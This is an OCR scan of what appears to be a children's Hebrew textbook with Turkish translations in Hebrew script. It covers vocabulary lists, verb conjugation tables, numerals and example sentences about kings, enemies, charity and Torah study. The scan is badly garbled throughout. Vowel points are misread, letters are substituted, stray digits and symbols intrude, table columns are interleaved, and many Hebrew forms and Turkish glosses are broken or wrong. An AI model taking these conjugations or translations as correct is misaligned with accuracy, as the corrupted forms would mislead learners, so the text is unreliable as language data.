אוצון אי סמיז אינכ בוגאזלנדי .
בו אגאנינ , כּי פארשאהיג ג'בבארלרינינ
אראפינדא אג ביופ אירי , אכּי קרוסי
ואר אירי .
חכם ניג אוגונדא יירי תלמיר אוטורוייר
וא אנינ אגזונרן. עַלֶם ג'ואבלרי
אוגרניירלר .
אלטי גון (אלטי,גונדא) אלה גכ ואיירי
יאפרי (יאראטרי) .
רון צולדא אוץ אינּ סווושרי .
אוגלנלרים ! אגר סיו פוקרא איסגיו גנדיניוי
זנגין גוסטורמניו .
ואר דיר זנגין גורונונ'י וא. ביר שיי. יוק
ריר (ואר ריר אוולא כּימסא כִּי
גנריני זנגין וסטורור אממא ביר שיי יוק
לו
בו קרילר בנים קיזקרדשלרים דיר , אנלר
ג'נכדא אולדורולמיש אוגלאנלרי איצון
יאסלי אולויירלר .
לרנל | הילרים
10 רגל ה
הַתִבְּרֶך (ברף) אלגישלנדי:
כיבירלנדי .
התערכ (ערב) \ כושולדו,
שלף, סובורדי , שָלַף חָרב,
כוליג | סובורדו ,
קליי . קנינהן--
ציקארדי ,
רב . (נצנ') ז. צוקליק ,
רב שלום , אפנליגיג
שולף צוקלוני, צוק אסנליב .
חרכ , קיליג'
קארישרי . הַסְעָרָב
בנוום, מיללתלרא
כושולדו, קארישרי.
קוללאניג'י , קיליג'
צביג'י .
אוצַר , (יח זז ר' א א',
אוצרות) , ". חזנא
קטרת , (נווצ ב') נ".
טוטסי .
מַרַד , (יּמַרד) אסי אולדו,
אמבאר .
התְנָחֶם (נחם) , פישמאן.
אולדי .
הַתְעַשַר (עשר), גגדיני
זנגין נוסטוררי .
מָאָכָל , (נ) ח, אש ,
יומד ,
ָתַד, (יח'1ל א' ר' יָתָדותי
יָתָדוּת , יתרות6 ,
מָרר בַּמֶלֶךְ ,
פאדשאהא אסי
אולדו .
. נ', קאזיק . האכיל 1 (אכל) יידירדי .
רחב (ירחכ) | בניש אולדו: | מ שקל (₪) ד , צָכִּי (טראזי "7
כָנָרְדי . צכיסי) . הקטיר , (קטר) טוּטְטָרִי .
אַחִי לא הָיוּ בַּמַרְדִים כִּמֶלְךָּ . בנום | קררשלרים פּארשאחא אסי
הנשאִים תָאָלֶה/ היו בְּאיכְלִי. שָלְחן
הַמֶלְך .
בנ הַיָה בִּנְבורִים הַגדוּלִים אָשָר נְלְחָמו
אֶתָמל שִלְכְרוּאֶת מִנִדְלִי הָאּב .
הַנִם אַתָּה בַּחָכָמִים ?
הנְסאַתָּם בַּגִָכִים וּכְרְשָעִי העיר הוּאת ?
שלמהה מלְך חַיָה החקם באש .
אַחוְתִי ! אַ: היִפָה בַּנֶשִים .
מלַכּתְנוּ היא הִנְדִיבָה בַּמְלָכוּת .
אולאנלרי אראסונדא יוק אורי .
ו אנאלר = פארשאהיג טראפזני
(טראפוינרא) יינְלרי אראסינרא אורי .
אונלום רון ג'נכ אירן וא רושמאניג בורג'-
לריני זאבט אירן ביוכ ג'בבארלרינ
אראסינדא אידי .
סן דא חכמלר חסאבינרא מי סון ?
כירסיזלרינ וא בו שהרינ יראמזלרינינ
סאייסינדא סיו רא ואר מי סיניו ?
פאדשאה שלמה אונסאנלר אראסינדא
אנ עקללי אידי .
קיוקררשים ! קרילר אראסינדא א דילבר
סן פין .
מליכּה לר. אראסינדא אנ | עאריל ביוים
מליכהמיז דיר .
טרגל . היל ים
איש אֶחָר.,
רור רו'''ןף
1 - = .
אשה אֶתֶת , כּיר קרי +
שנים אֶנְשִים , שני אָנָשִים , אכ כִּישִי .
שתים נשים ,
שלשה וני ,
שלש בָּנות ,
יי ָּמִים,
בַּע שפחות ,
חמשה סְפְרִים, חמשת סְפרִים,
חמש שניס, בָּש ייל ,
שָשֶה יָמִים , ששת ימים ,
שש פרות . אלטי אינפ,
שבעה חָרָשים . שפעת חֶדָשִים, יייל עאיי
שבע שנום. ירי ייל,
שמונָה בָּנִים , סכיז אוניל.
שמונה בנ , סניו קיו .
תשעה עברים , דוקו כול .
תשע שפחת , דוקו הלאייק .
עשרה חמורים , און אשב .
עשר פרות , און סיגיר .
שִתינָשים , אי קרי .
שלשת בְּנִים', אוץ אוגול ,
שלש בְּנות , אוץ קיו .
אַרְבְּעת יָמים דורְטָ גוּן .
דורט, חלאייק...
בש כּתאב
אלטי גי ו .
הרְתִיב (רחב), כגוש
הַתאַבל (אבל) יאסלי אולרו,
איטדי,כגרטרי .
גנדיני יאסלי גוסטוררי .
הסְפָּלל (פלל) , תפלה
איטדי.
ִתְנְבָר (נכר), יבאנג'י
א כְַאָרְףְ: יָארְכו ,
תאָרְכָנָה) אוזון אולרו ,
או ל וני אוזאררי , אוזאק גא
יבאנג'י גוסטוררו . 6%
התְחִכַּם (חכם) , חכם הְארִיךף (ארך) ₪ אוזון
ורונדו , 1נדיני ש
יריו איטדי, אוזארטדי.
חכם גוסטוררו .
הַתְענָג (ענג), עזיזלנרי ,
נאזלנרי . נאזלי
אולדו, (על פ'.
בפ' ספ ספארנרי,
אוזאררי .
סְּקָע , כיִתְקע) קאקרי ,
מקע בְּשוּפָר, שיפר
צאלרי .
(חלק ראשון) 32
19
שוּפר , (₪ רבים שופרות
צצ א') שופר ,
קאבאל .
שקל, (עץ ב') 1 שקל
(צכּי אדי) מיסקאל ,
בָטָן, עו בי ג ברח '
קרסאק, פָרִי בש
רהס מייבאפי, אוולרלר.
שם , (יח' 4 א' ר' שָמות
ץא ב') אֶר, איסֶס
נָאם.
סוחר , (2 ג') ז', באזירגאן.
רַשָן , (עצ ב') ססיזליכ ,
כו '
--,
18 לרגל הילדים
שלח
אלה -/ -לחכס - | -לְתָם, -לָחֶ.
נִשָלַח
תִּשְלְחִי . נִי , -לְחִיהוּ, --לְחיק ; -לְחינוּ; --לְחִים, -לְחִין . 69
ישלחו
השלח -לחוני +--לְחוּך , --לְחוךְ :--לְחוּהוּ.--לְחוּהָ : .-לְחוּנוּ;--לְחוּבָם,
תָשָלְתְנָה -לְחוכן; -לחום . -לְתוּן.
.. יי --- %%%
ישמץ = ישלח . ישַמְענִי = ישלתני .
שמע , שמעני , אשש בני : ריגלא בני: שְמָעהוּ או שְמָענו, שְמְעְתָ או שְמְעְנָה
שמָענו : שָמַעַס. שמַען..
שמָעו, שמְענִי ; שְמָעוהוּ, שמָעוּהָ: שמעונו; שמָעוּם , שְמָעוּן 6
לזכר | לנקבה
1 - -
| נפרר | נסמך נפרר נסמף |
| אֶתָד אַחַד אתת | | אַתַת | (בִּיר
2 שנ ים שג י יירוה ייורפי אכי
3 שלשה שלשת שלש שלש אוץ
+ |אַרְבְעָה || אַרְבַּעַת | ארב | אַרְבָע | הרט
5 |חָמֶשָה | סָמָשָת | |מָמָש || חָמָש |:ש
> |שַבְעָה | |שְבָשַת | | שָבע | | שבע || יח
5 | שָמנָה | שָמנַת שמנָה | שְמְנָה | פניו
. תּשְעָה |מִּשָעַת | |תָּשע |תְּשַע |הק
1 ו
שָשָרָה = |טָשָבֶת = | עָשָר | ( עשר | אה
ב הופרוה
22 |ו)/ו--
הַתְפָּעָל
(נחל)
|
|
|
| הנחל
| לזב
, פּאיולאשד
פּאיי אלדי .
לנקבה
|
|
הַתְנַל = | התנחלה
+ | הִתְְַלְתּ | הִתְנְחַלְת
₪ הַתְנְחַרְתִי הַתִנְחַלָי
הַתִנְחָלוּ | | הַתְנְחַלו
= | הַתִנַחלְתֶם | הַתִנְחַלְמָן
הַתִנְחַלְנוּ 0 תְנְחַרְ נו
. תְנְחָל תתנחל
' תתנחל תתנחלי
. אַתנְהל אַתְנְחַל
₪ | יְתנחְלו תְֶנְחָלְ ה
.1 תִתְנְחָלו ִהְנְחַלֶ
נַתְנחָל תנחתל
. /.. התנחל התנחַלי
= | הַתְנַחָלוּ = | הַתְנְחַקְנָה
4
| מִתִנְחָל = | מִתְנַחָלָת
: מִתְנְחָלִים ַתִנְחָות
-
יר
נסמךף ה
(ש
נר
ל
נפרד הַתְנְחַל
ִנְתָל
הו תְנגַח, פוזושדי .
ליו הה וננחק 5
הְַנְגְחָפִי = | התנגחקי
התננגהו הְתְנְנְחו
הַתְנחְתם = | הִתְנְגחְקָן
הַתֶנְנְחנּ | הַתְנְּנו
יתַנגחיש | תִתִננַח כנח
ְתְִנְנַח | | תַתְנְגָתי
אנח | אְֶנָָה
בי תִהְנִגָחָיָה
| | תִתְנְְוּ
> %5י5-
נתנגח
הַתְנְגָה יגח
הַתֶנחו
מִתְנגָּח
מִתְנְְחִים
17
הַתְפָעַל
(נגה)
הַתִנַגְחָה
הת 17 כ חי
ַתִנִגּהנָה
מִתְנְגְתַת
מִתְנְנְחות
הַתְנְגָחַ
הַהְנְגּח
? ! ,
ררי> הוררות
וה. הה,, -
.ו יי
₪ 086 0 =
(הלף (פרר)
הַתְהַלךָ, נזדי, נוינדי .= | הַתְפָרְד, אָיִדילרי .
9 : 2 . 1 דיי
לזכר לנקבה ורי לזכר לנקבה
הִתְהַלך | | הַתְהַלְכָה | הִתְפּרָד = | הִתְפַרְרֶה
+ | הֶתְהַלַּבְת ַתְהַלַבְת תַפַרַדְתָּ | התִפָרְרְת
9 ִתְהַלַבְתּי | התהלבתי ה ִפַרְדְתִי
הַתְהַלְכוּ הַתהְלכוּ |הַ תַפַרְדוּ ַתִפָרדו
= | הת הַלְבְתָם הלבקו ָ הַתְפרדְתֶּם הַתְפּרְרת תַן
|תַסְהלַבְו | הל | הַַפררָנוּ | ה התחלבנו הַתִפּררְנוּ | הַתְפַרְרְוּ
יָתְהַלָך | | תִתְהַל | | יִתִפֶּכָד = | תִּתְפּרָד
| תִתְהלְךף = | תִתְהַלְכִי: | תְִפֶבָד = | ִתְפָרְִי
. 8 | אַתְהלך אֶתַפָרָד = | אָ תפָרָד
כ | יתהַלכוּ | | תת תִתְהַלבָנָה ְתַפּרְרוּ תִתִפְרְרְנה
. תַתְהַלְכו תִתְהַלכְנָה תִתְפרדוּ תִתִפַרְַנָה
= |מחץ | | חל | פד | נתהלך | |נִתַפֶרָד = | נְתַפֶרֶר
| התהלך | הַתְהלבִי. | הַהפָרר | | התַפררי
- | הַתהלְכו = | התִהִלְכְנָה הַתְפָרדו הַתְפרְר נָה
יש
-- 07 090000000 00000 20| 5 528
מתקלה..... | מתהלכת ...| מספבד = ,| מִתַפַרָרַת
5 | מְַלְכִים מתהלבות | מתפרדים | מִתְפררות
ען
- | נפיד הַתְהלְךָ חִתְפרַר
| נסמף התהלך הַתַפָרַד
ו
0
ש
: . 0"
לרגל הילדים 15
.4 +
האנשים הְרֶח הו איבי הַמ , בו ארמלר פאדשאהי: רושמאנלרינדא (פארשאהי:
חן דושמאנלריניג: סאייסינדא , אראסינדא) אירילר .
בנ הֶרְשָע הָיָה בָּעְבַרִי , יראמו אוגלוג סני צאייפאיאנלררא = וני צאייפאיאגלרינ
אראסינדא) אודי .
הַנַם שאול בַּנרִיאִים , שאל דא נביאלרדא מי (שאול דא | נביאלר סיראסינדא '
: אראסינדא מי) +
ב יָצַחָק הוא הטוב בְּתַלְמִידִי , תלמירלרימיג אראסינדא אָ איי (תלמיר) סניג אונלוָ
יצחק דיר .
מלְבָּנוּ הוא הַנָכור. בּמלכים , = פארשאהלר אראסינרא אָג באר ביזים פאדשאהימיז
ור-,
אָבְ תוא הוקן בָּאָנָשִים אָשָר בַָּית , אבראכי פישלריג: אראסינדא אַג = אתתייאר
סניג בַּבָּאנ דיר ,
* אֶשָה, קרי אָשֶת יצָחֶ , יצסק ניג קריסי : אשְתי, בניס קריס : אֶשַתך; אשתו,
-נם | קילר. שק , שחק נע קרילרי< בשי נָך :שיו
נשינו ; נִשִיכֶם ; נְשִיהֶם ;
* בַּת ,| קיו, (יחיד וצ א') , ריס בָּנוּת , קיזלר > בָּנות יַצחֶק , בְּנותִי; בְּנותִיך
בְּנותִיְךָ יכ (צצ א')
. אחות | קוזקררש , אַחו ָצְחָק | יצחקנינ קיזקררשי ; אַחוְתִי, אַחותךּ וכו" (ץ1)
- ר' אֶחָיות ; אֶחָיות ִצָחָק, אַחִיותִי; אַחיותִיךָ או אַחותָיךּ , אַחיותִיך
או אַחותַיךָ; | אַחַותָיו , אַחִיוְתי מ ; אַחִיוְתִיג נו ;: אחיותיק כםאו אַחותִיכֶם ,
אַחיותִיבָן ; : אִחִיותִיהֶם , חִיותִיהָן .
141 לרגל .הילרים
של חנכם ערוך. לכל . הבית מלא מפה אל פה אנשים ולפניהם שלחנות
ערוכים ועליהם לחם יין ובשר רמונים ותפוחים וכל פרי עץ. אל תעזבו
את משפטי יהוה כי בשְמָרֶם שכר רב . מת לבי בקרבי בּבְרִי את החלום
אשר חלמתי הלילה . מה רב יגוננו בבר ה
אי אי צוג'וקלר ! \ חצאנא קדר פיז ו ג וא אנאלריגיזיג וא
מועללימלריגיזיג 2 גוואבלרינא דיגלמו סיגיו שרה ורבקה! חצאנא קדר
סיז חלאייקלריגיזיג אוזרינא בויון סאגיזי אגיר אידר סיגיז+ רושמאנלרימיז
ביזים שהרלרימיזי ויראן איטדילר וא אנלרי: אומורוגיילריני קיליגי אילן
קירדילר - (אללדורדילר . הרג). אוכסוולרא וא טוללרא. קאטי קוללוק
קולליק אימדירמב איי דגיל דיר , בּני ישראל צוק בולוכלרא 5 מלותרילר .
בנים משפההם סניג משפחהגד] ביוכ דיר . בּנים קפאם אוזרינא דושן
טאש 8 ביוכ דיר . סן אוזרינדא דוררוגיג' ייר (מקוּם) או | עזיז :ייר
שְרָמָה) דיר . ברס ני בּן זנגין אימדים . בן דחי יאש אולדוגומדא וא
מועללימימי: אבינדא אניג = אגזינדן אללהימי: תורהסיני אזגרנדיגימדא
גומלא בני בילנלר בני סָבֶר א . דון בן מכתובלרימי יאזדיגימדן
סוגרא (אֶחְרִי כּתְבִי) אקאמיג: בחצאסינא גיטדים . דושמאנלר , יהושלם
גי זאכּט איטריכלרינדן סונרא, אני אטשא יאקדילר . קרדשים ! בגא
יארדים איטמאיא צביכ אול . סבאח בן סגא יארדים אידמאיא צבּיכ אולור
אים . סניג אקאניג בחצאסינדא בן נארלר דוושירריגימדא בנים אוגלום
חסטא צירי. אוגלום ! בגא יארדים אִיילָא בן בחצאמיזרא כּי נארלרי
דוושירמאיא (דוושירטפ איצון) . אל בו טילימי יוא אני סירכּאיא מאנדיר.
בוגון אללה ביזא דושמאנלרימיזדן אינתיקאמלר יאפדי. בן אנלרדן סניג
אינתיקאמיגי טורדום . אללה מסדלילררן ביזים אינתיקאמימיוי אלדי.
דחי נפָסים גנדימדא איכן בן אללהימא ואר קלפים - עיבּדת אידר
אים.. ביזים שהרימיז . אוזרינא וכיל. אולונמיש אגא נרדן גלדי? קויומיז
וא סיגירימיז רושמאנלרימיזא אולגיא אולדולר . בּנים אוגלום שהרימיזדא
מועללים אולדי. אללה ירושלם ני סורובלר אוטארי קודו (איטדי) . סויג
שהרלריניו חדאבת אולדולר .
לרגל הילדים 18
ית יְהוֶה. ב הַמִלְבָּה הַאֶת לא תְמְלְךּ החִתִיהָ , בּי חחִיה יְמְלך בּנָה
הקמן .. ישרות. הַשפחות הַמפקדות. על עבות בת דורִי. בּני ישרְאָל
ָשבוּ בְּעריהן הַמַתַרָבוּת אָשָר הָחָ רבו בִּימִי מָלְחָמָה. ימי וקנַת מלְבָנו
הָמִלְכָה בת החְיו . ַבְָנִי יְהָה. ביום צרְתי ולא ישמחו אובי . בני !
קברוני ִּיוּשָלֶם ואל תִקְבּרוני בָּעִיר הַאת הַרחיקָה מָאָרצי. .
אלְלְהום! בגא יארדים איילא. וא. בּנים אישלרימי י אלנישלא .
אושלרימיב אוזרינא. ברכתיגי יוללא , קרדשים : סניג יוכוג מגבל יוכוסי
הוך. - עומרומיזיג: סנהלרי קיסא. דיר.. אוגלום! בּני בו ו
כוממייאפין זירא או בנים בּבּאלרימיג מופראגינדן איראק דיר , בָּנִי ישרא
טופראננרא כּום זירא או בּיזים אולוש טופראגימיז דיר . - פארשאה.
נא: איצון בְּיוִים בּויונסאמיזי אגיר איטדיג + שרה ורבקה: סיז. בּיזים
סבינצימיזי בוו איטריגיז . אי מסרלי לר: נא איצון סיז - ישראל גא
קאטי קוללוק קוללוק. איטדירייר סיגיז+ בן בו חלאייקלרא ק אטי קוללוק
קוללוק אימטירמדים .. אוגלום ! אגר סן קאפויי אורטמדיג אא צבּיב אול
וא אני אורט , שרה ורבקה + אגר סוז דחי אינכלריגיזי סאממריגיו איסא
אנלרי בגא סאטיניו . אמלריגי אל וא אנלרי בו ערבּאלרא ייב , ירושלם
בו שחר דיר וא-אניג. אוטריגיילרי צוק. חלק דיר. בן יאשליג'מרן בְּרִי
תורה אוגרנגלרי וא אני פאקלאיאנלרי .ואר גוגלים אילן סור אידים
(אָהַבְתִּי) .. אללהיג תורהסיני .בור אידנלר וא אני בוראקנלר קארגישלי
דיר ,. אי תלמידלרים! אללהוג תורהסיני סייו וא אני אזגרניגיז זירא סוזיג
דיריליגינין או 3 ה
אתה יהוה: הברלת את עמך את ישראל מכל. הגיים. אשר תחת
כּק השמים.והם לא ירעוף . חמת יהוה תבער כאש אם תעזבו את תורתו .
על ההשעים חהה. אף. יהוה וחמתו בערה באש , אתב יין .לא יעשיר .
ונקות העץ הזה גבוהות כארזים. יונקות 4 הזה. יבשו.. העץ הוה
גבוה מאַר ויונקותיו. -דומות. לארזים .. על חומותיך,. ירושלם ,+ הפקדתי
שמרִים . בָּנִי: האזינו תורתי והקשיבו לדברי מלמדכם האהָב אתבם בכל
לבו. אחותי ואמי ! הַשְבַּעְנָה לחם את האלמנות הרעבות האלה . אחותי!
הלבישי את הנערים היתומים האלה. לא אוכל להשכיל את דברי החכם הזה
כי עַמַקים הם מאד. לא אוכל להלביש את העניים אשר בביתי כי אין
לבנד . לא אוכל להאמין לדברי העדים כי עדי שקר הם . נחלתצו
נהפכה לזרים בתינו לנכרים , בּרְכִּיי נפשי . את יְהוָה ובל קִרְבִי את שם
קדשו. הנשיאים \ נדיבים אתם ומשביעי להס את היתומים והאלמנות ,
זריל חול
לרגל הילרים
172 -
שלמה תַיָה למלף על ישרְאֶל . שלמה ישראל אוזרינא פארשאה אולדו.
המָלֶךָ שֶם אֶת הורִי לֶשפָט על כָּל- = פארשאה אקאמי שהרימיין ג'ומלא
שבי עורנוּ . אוטורוג'ולרי אוזרינא שריעתג 4 קוד
(אוטרי) .
הנער הִעָנִי הוה יתום ואין לו לאאב ולא = בו פקיר אושאק אוכסוז דיר, אניג נא בּבאסי
אֶם ורורו לקח זו לו ל ואר נא אנאסי ואר אקאסי אני גנדינא
אוולר איטמפ איצון אלדי .
הוה שם את דוד עברו לראש על עמ1. = רכבי קולו דורי מיללתי אוורינא באש
ן קורו (איטדי) .
אנְשי בִיתִי הָיוּ לֶי לְאְבִים . אבימיג ארמלרי בגא רושמאן אולדולר .
היה נָתַן אֶת אֶרץ כּנען לבגי ישראל לנחקה - יָמִי חגנ הָיו ָנוּ לימי
6 ובָבִי. לב דּדִי מַת = והוא ה הלק בת קרשו הָיָה הלה
ה לי 5 עצת" הוה לשל תַטָמד. שנותינו עבות 6 יַ
ישָלַח הוה לכם שנות טובתו ושנות בַּרְכְתו . רַבִּים הָוּ מכָאובִיגו הַלִילָה
וגנזלה שנתנו . הלילה גנוה שנת דורי כִּ חלו היה קשה פאר . בַּרְַת
הוה ע ליכם בּרכנו אתכם בשם יה . יה אֶלְתי! מִבְרְכַתְ יָבוּרך בִּית
עבר ב' ל . בּן דורי יטב תחת | המגדל ; וְאָכן ְּרולֶה נַפְלֶה על לתו
מָעל המד , , הַמִשָנִים הַעִשִירִים האלה שלְחוּ מחגות לְענָם אֶשָר
בְּעִירנוּ . מִתָנות הבירו הָאָלָה רבות כִּי נָרִיבוּת לב הָן . הלא ירעת כִּי
בתנ נדיכת לב מאר ומתנותיק לְעָגיים וִיתומִים ואַלְמָנות רבות מָאר!
שרָה וְרְבְקה: מתְנותִיכָן. רָבוות מַמַתּנות הַגְבִירות הַישָבוּת בְּבִיתִי . לא
מהשבותי מתשבותִיכס לא דַרְכיכם דְרְכִי, אמר יוה .
ְהוה: שפוך, חִמִתְך על הַגויס. אָשר לא יַרְעךָ. כָּני : אַל תִּבְבירוּ
אֶת ְבְכֶם ַּמְצָרִי. מבל"מלמרי הַשָבַּלְתִּי. הַעשירִים הָאֶלָה שחו אֶת
יְהוָה ולא דרשוהו על כּן לא הַשְבִילו . אַפּי וְַחותִי! עד מַתִי תַל בַּשָנָה
אֶת נעְרותִיֶן : אֶת הַבְנָדִים. הַצוְאִי: ם האלה . הַאָמִינו הוה אֶלְהִיכֶם
הזה ו דיל אֶת | הורתו- . אנ ירעתי כי און חב שקרים הָאָיש ההוּא תל 5
לא הְאָמַנְתּי לרְבְריו . הַמַלְבָּה הִלְבִּישָה אֶת רתיה די משי .
עְשִירָה הְַבִירָה הַמַלְבָּשַת א אֶת רותה ושפהו: תִיהָ בְַּרי שי . ברוּכות
ו
רות הַמַלְבִּישות: אֶת ו היתוּמִים וא תהָאַלְמָנוּת , ַּרְכַת הוה היא תעשיה.
ו הגביר
הפ קרו % עכורת
המל הזה מבית דוד אֶטר המלך על ירושלם : הכהנום [ הק רעל ?כו
לרגל הילרים
בנ יִשְרְאֶל בָּרוּכִי יה הֶם..
רַבּּם הרונינוּ בּיום הִמְלְחְמָה .
ְבורִינוּהָרונִי חָרֶב בָּוּם מַלְחְמָה .
טוב כָּחְבִי אֶת שָירִי שָלמה מִכְּתְכִי אֶת
שרִי אֶחִיף .
הָאויֶב בָּא על. עירֶנו. לְלְכָרָ. וּלַעֶרְפָה
באש .
האויב בּיום לָכְדו אֶת הָעִיר שַרְפָּהּ בָּאָש.
אָלסי ענ בְּם מִלְחָמָה קהרְגי אַת
אויָבִינוּ מַחָרִיכִי אִרְצָטו .
הָאויב חָפֶץ להני
הַלְהֶרגנִי אה אמר כִּאֶשֶר חָרנְתּ אֶת
המִצְרִי ?
פּקרוּ אֶת תְאֶרוּרָה הואת וקברוה כִּי בת
מל היא .
ְּלְָדְףּ כַּלְבְרְףּ) אֶת הָעִיר תִּשֶרְפָה
ִמִשֶרְפֶנָה) בָּאָש .
אויבינוּ. חִפָצו לָמְכְרָנוּ לַעַבָרִים .
סננ זה קתְרְפָה לְכל-איְבנו .
נוי לשְמְחָה .
(חלק ראשון)
11
בני ישראל אללהיג אלנישלנמישלרי דיר
(אללהינ טרפינרן אלנישלנמישלר
דיר) .
גנפ נונונרא אולרורולמישלרימיו (ביו רן
אולנלר) צוק דור .
ג בִבארלרימיו גונונדא קילונ'ין
אולרורולמישלרי דיר (קוליג' רן
אולרורולמישלר דיר).
שלמה ניג טורכולריני יאזמאם (יאודיגים)
קררשיניג | מורטלריני = יאומאמרן
(יאזריגוטרן) איי דור .
רושמאן שהרימיו אוורינא אני. ואפט
אירמכ וא אני אטשא יאקכאק איצון
גלרו, .
רושמאן שהרי. זאבט איטריגי
אטשא ואקרי .
אללחים ג'נכ נונינרא בא יארדים איטרי ,
,
יי
גנכ
גוני אכי
רושמאנלרימיזי = יירימיזי | חראב
אידנלרי בִּן קירמאק איצון בי כן
קוראיים) .
דושמאן בני אולרורמאיא איסטיור .
מסרליי אולדוררוגינ גיבי בני רא אולרור-
מאיא סוולייר. מי סין ?+ (רושוניחי מי
סין 6 .
בו קארגישלי קריי סאניניניז וא אניכומיניז
זירא או פאדשאה קיזי ריר .
שהרי ואב איטר ניגיריא אני אטשא יאקר
סין (יאק) ..
רושמאגלרימיז בּיוי = קוללרא. - (קוללר
אולמאק איצון+ סאטמאיא איסטרילר .
רבכי זי ג'ומלא רו(שטאכל רימיזא לורליק
גא ווררי (5ורלוק איטרי , 15 אישדו6
יאסימיז סבינץ אולרו .
21.
100
שגה טוּבָה וּשָנַת בִּרְכָה הַשָנָה הזאת .
עוּכָר אִדְמָתו יַשָבּע לָחֶם .
מִלִבּתְנוּהשְבְּיְעַח כָחֶם אֶת הותומים וְּאֶת
הָאַלְמָנוּת .
ְכַח רְשָעים הּעָכָת יְחוָה .
בת רְשָעִים וְשֶר דַרֶך:
דור סַמֶלֶך מַת ובנ וְשְרְאָל הְמְלִיכן
מַחְמו אֶת שָלמה בנ .
מֶחָר מלְבִיש אָמִי אֶת. אֶחִי הרול את
מעיל הַצָמֶר אָשָר לְאָכִי.
משָה הַלְבִּיש אֶת אֶהרוְוּכְני בּנְדִי קרָש.
הַמָצָרִיס הָעְבִירוּאת ישְרְאל עברַח קשֶה.
כְרְנִי יְקְדני: וְעְרָנִי. יְהוָה אֶלהי ! כִּי
רוּרָפִי רים מְחול וָמִים .
ְְטָח ב ירעי שמ כי לא עו
רשי ה :
הקשב אלהי ושמע תִפָלְתִי מִפָנִי רורְשִי
רעתי .
שלום רב לאוהָכִי תוּרְתֶף .
שמָר הוה אֶת כָּל אוהַבָיו .
לרגל הילרים
בּו סנה אויליכּ סנהסי וא ברכת פנהסי
דיר .
טופראגיני אִישליין אמכ 1א רוייאר .
מליכּה מין אוכּסוזלרי וא טול קרילרו
אכּמכ נא רוווררי .
יראמזלרין קרבני רכּבינ איכראהו (רַבּבייא
איכּראהן) דיר .
דוגרו יוללי יראמזלרי! איכּראהי ריר
(יראמזלרא איכּראהן דיר) .
פארשאה רור אולרי וא בּני ישראל אנינ
יירינא אונלו שלמה ני. פאדשאה
איטרילר .
יארין אנאם ביוכּ קררשימא בבאמון יון
ג וְבְּאסיני גיידיריר .
משה אהרן זא וא אנינ אונוללרינא עויו
רובאלר גייריררי .
מסרלולר | ישראל :א קאטי קוללוק
קוללוק איטרוררילר .
סאנין בּני וא חטרינא גטור בּני ואאימרת
ויר בּנא , אי רבּכּי אללהים ! זירא
קובוג'ילרים (בּני קוואנלר) רניולרינ
קומונדן צוק דור .
וא אריני בילנלר סנא אישאנירלר , זירא
סני אראואנלרי סן בוראקמארי , יא
רכבי !
רינלא , אי אללהים , וא אשיט ריג'אמי
פנאלינימי = אראיאנלרין סבבינרן
(פנאלינימי | איסטיינלריג סבבינרן
איטריני ריג'אמי אשיט) .
תורהג סאקלאיאנלרא צוק אסנליב (ואר
זיר).
רכּכּי ג'ומלא אני סוונלרי סאקלאייג'י דיר
כסאקלאר) .
אֶחִי לקו אֶת שְרֶה לו לָאשה , קרראשים. שרחיי
הבריל (בּרל) | אייררי ,
רקי איטדי .
הגדיל (גרל) בּיוכּ איטדי ,
הַכְבִּיר (כבד) אגיר איטדי.
הַלְבִּיש (לבש) ניידירדי. .
הִמְלִיך (מלף) פארשאה
איטדי .
השְבִּיל (שכל) אגלאדי /
אוגדי ,
הקשיב (קשב) דיגלרי.
הָאָוין (אזן) קולאק אורדו ,
הָעָבִיר (עבר) קוללוק
איטדיררי, קול
איטדי .
האמ , (אמף ,| בְּתֶי,
אינאם איטרי ,
אינאנדי .
השְבְּיָע (שבע) ד'יירורדי *
התלְמְרים ! לָמָה לא תקשיבוּ ל
ִלמרְֶם הטובה ?
הָעְבְרִם ' יְהוָה אֶלְהִיכֶם הִבְדּל אֶתְכֶם
מל - משפחות הָעמים אֶשֶר חחת
למס .
קרגל הילרים
19
נדונא. קרי
אידמכ איצון אלרי .
דורי לְקח את רבקה לו לְבֶת , אקאם רבקהיי גגדינא קוז. אירמב
איצון אלרי .
העשיר (עשרש'נגין איטדי ,
זנגין אולדו.
אלמָנָה , (2% א') טול
- קארי .
מִסֶּנָה (א א') נ', בחשיש,
נְקְמָה (21 ב):'. איגתיקאם
אוץ .
נְשָמָה (לא ב) ג' . ג'אן .
נָפַס,
בִּרְכָה (1א ב)נ', בַּרְכָּת,
אלמיש.
ארָמָה (*א ב', סמי אֶרְמַת,
ו
טופראק , ייר .
עָגְלָה (צא ה) ערבא .
ינקת , א א) קאלם
(רירכ איצון) , פיראן .
מחִלְקת 72ב" , רבים
מַחִלְקות) בוב
עצה (27 ג') נ", כנש,
מראם.
העָבָה (צצ ג') ני.
איכראחליק
זו
עְרָה (צא ג') נ', ג'מעת .
חמה (צא ג') ג, קהר .
מִחְשָבָה או מחָשָכֶת
(זצצ א'., רבים
ממְשכות , סמיכות
מחשכות) פִּיכְּר .
הסאב .
מִשָפָחָה (זא אי
מִשַפָּחָת , משפתסי,
ר מַשָפָּחות סמימ:
סמיבי
מְשפָּחות) ג" משפחה
סויי, טוקוּם. מַסְתַכִּ .
חן (₪) 1 (ר שְָות
צצ א') טראפיזא ,
טירכי , סופרא .
ור , זרה : יבּאנג'י, יאט .
גי , (1) ז' מיללת , אוממה,
קרב (צצ בי) זי,
איץ, ג'נילר.
עְרַךְּ 0 (ערך) קורדו.
יראשטירדי.
קארין,
שת | אי תלמידלר ! נא איצון מועללומונויג
איי כנשיני רוגלמו סינין ?
אי ישראללר ! רבּכי אללחיניז סיזי - בזטון
גו3י: אלטינראכי. מיללתלרין נ'ומלא
מסחבלרונדן איורדי (פרקלו איטרי) ,
1568 לרגל היכלרים
שמר עס | סאקלא. בני : שמ רהן, ? שמַרָהָ, או שָמָרָהּ , סאקלא | אני:
שמרְנוּ , סאקלא = ביזי ; שְמְרֶם 2 סאקלא. אנלרי .
שמרי , = שמריני , סאקלא בני< שַמְרִיהוּ, שְמְרִיהָ , פאקלא אני ; שְמְרִינוּ ,
סאקלא ביזי: שִמְרִים , שמרין | סאקלא אנלרי .
שמרו , שְמְרני , סאקלאניז ּני ; שמרותי ו סאקלאניז אני; שמָרוּנו ,
סאקל קניז בְּיזִי . : שמרום , שמרון , אניז אנלרי ,
שמרנה : שמרוני ְ סאקלאגיז בני : שמרוהו שמרוק. סאקלאג ניז אני ; שמרונג;
0 סאקלא:יז בּזי + שמְרוּס, שמרון , סא קלאגיז אנלרי. -
שומר ב) שרי , בנים כאקלאיוניים בני = סאקלאיוג'י + שומרך , שומרך
